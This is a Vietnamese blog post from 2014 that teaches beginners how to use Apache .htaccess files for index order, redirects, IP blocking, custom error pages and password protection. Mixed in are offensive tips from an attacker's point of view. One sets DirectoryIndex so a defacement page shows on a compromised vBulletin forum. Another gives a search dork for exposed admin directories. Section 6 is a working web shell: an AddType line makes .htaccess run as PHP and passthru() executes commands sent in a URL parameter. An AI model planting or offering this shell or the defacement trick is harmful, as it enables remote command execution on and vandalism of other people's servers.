Thứ Sáu, 7 tháng 2, 2014

File Htaccess

Hôm nay có nguời pm hỏi mình về cách dùng file htaccess.Cái này trên mạng không thiếu.Nhưng tổng hợp lại cho vào tài liệu căn bản cho mấy newbie học.Những cái căn bản cũng là cái quan trọng mà :)).Sau đây là chức năng của nó.

1.Dùng để qui định thứ tự của index:

DirectoryIndex index.php index.htm index.html defaul.html

Câu lệnh trên qui định thứ tự index.Nếu cái đầu không có (index.php) .Nó sẽ hiện cái file tiếp theo là index.html làm index cho site .( thực tế là index cho thư mục chưa file .htacess).

Ví dụ khi có shell rồi,deface forum vbulletin vớu file index.html ở thư mục /includes/index.html.Thì mình quăng file .htaccess vào thư mục root với nội dung như sau
DirectoryIndex defaul.html index.htm /incudes/index.html index.php

nếu victim gà quá.Thì nó ko biết các tìm cái index bị deface đâu :))



2.Redirect về địa chỉ mới:
Giả sử muốn làm cho guest khi vào site A nhưng lại nhảy sang site B (trường hợp bạn có nhiều tên miền chẳng hạn).

Redirect /forum/index.php http://huynhdegroup.net/@vhb@/index.php

hoặc có thể là

Redirect /forum http://huynhdegroup.net/



3.Chặn ip ,cho phép ip

Ví dụ nếu như bạn dùng ip tĩnh là 201.192.129.19.Muốn ngăn chặn mọi nguời khác vào thư mục admincp đi.Thì bạn up file .htaccess với nội dung sau.

Allow from 201.192.129.19                              // nó sẽ cho mỗi bạn vào thôi.

tương tự một số mẫu sau

Deny from 201.192.129                                  // cấm người dùng có giải ip      201.192.129

Deny from all                                                   // cấm tất cả nguời dùng truy cập

Nếu trong một file htaccess vừa có Allow vừa có Deny.Thì ta dùng hàm Order để qui định độ ưu tiên

Order allow,deny                                              // ưu tiên allow trước deny
4.Ẩn file nếu không có index:

Nếu trong thư mục của bạn mà không có file index ( các file mặc định).Thì khi người dùng truy cập vào thư mục đó nó sẽ tự hiện ra tất cả các file.Ta vẫn dùng dork intitle:"Index of /admin/" để tìm các site bị kiểu này.
Nếu bạn muốn ẩn tất cả các file trong thư mục đó đi thì dùng câu lệnh sau

Options -Indexes

5.Thông báo các lỗi mặc định:

Để thay thế các trang thông báo lỗi mặc định như.
400 : Error bad request
401 : Authorization required
403 : Forbidden
404 : Wrong page
500 : Internal Server Error

Nếu bị các lỗi này site tự đưa ra thông báo mặc định.Ta có thể thay đổi các trang thông báo đó bằng dòng sau trong file .htaccess
ErrorDocument 400 /new_file.html

Chúng ta thay số báo hiệu lỗi 400 bằng các số báo hiệu lỗi tương ứng.

6.Dùng để ẩn shell

Mình sẽ minh họa một ví dụ dùng chính con htaccess này làm shell


AddType application/x-httpd-php .htaccess
# Hàm addtype này cho phép chạy file .htaccess như một file thực thi.
###### SHELL ###### <?php echo "\n";passthru($_GET['huynhde']." 2>&1"); ?>
#Hàm trên ta cho phép thực thi comment thông qua hàm passthru() của php.


sau khi up lênh ta thực thi command như sau
http://site.com/path/.htaccess?huynhde=command


7.Bảo vệ thư mục và bảo vệ file :
 7.1 Bảo vệ thư mục


<Files ".ht*"> order allow,deny deny from all </Files> AuthUserFile /full/path/to/.htpasswd AuthType Basic AuthName "Please Login" require valid-user
 7.2 bảo vệ file

<Files ".ht*">
order allow,deny
deny from all
</Files>
<Files private1.html private2.html>
AuthUserFile /full/path/to/.htpasswd
AuthType Basic
AuthName "Please Login"
Require valid-user
</Files>


trong đó file cần phảo vệ là private1.html và private2.html
Nó sẽ yêu cầu user và pass nằm ở file /.htpasswd

Muốn tạo đc file htpassword thì bạn có thể dùng lệnh htpasswd trong linux


root@bt:~# htpasswd -c .htpasswd huynhde
New password: *******
Re-type new password: *******
Adding password for user huynhde

dùng lệnh show file ẩn ra (ls -la) để lấy file đó mà dùng .

Không có nhận xét nào:

Đăng nhận xét